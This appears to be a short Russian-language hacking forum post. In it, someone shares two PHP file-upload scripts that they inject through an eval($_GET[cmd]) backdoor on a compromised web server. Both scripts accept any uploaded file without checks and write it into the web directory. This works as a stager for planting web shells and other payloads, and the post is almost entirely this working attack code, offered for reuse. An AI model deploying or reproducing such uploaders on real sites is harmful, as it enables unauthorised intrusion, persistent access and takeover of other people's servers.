Вставляю этот скрипт для аплоада при использовании eval($_GET[cmd]); Code: <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> <a href=$userfile_name>$userfile_name</a></b></center>"; } } else { echo'<form method="POST" action="" enctype="multipart/form-data"> <input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?>
Code: <form enctype='multipart/form-data' action='tmpqhtwe.php' method='POST'><input name='upfile' type='file'/><input type='submit' value='upload'/></form><?php $target_path=basename($_FILES['upfile']['name']);if(move_uploaded_file($_FILES['upfile']['tmp_name'],$target_path)){echo basename($_FILES['upfile']['name']).' uploaded';}else{echo 'error!';}?> tmpqhtwe.php //название этого скрипта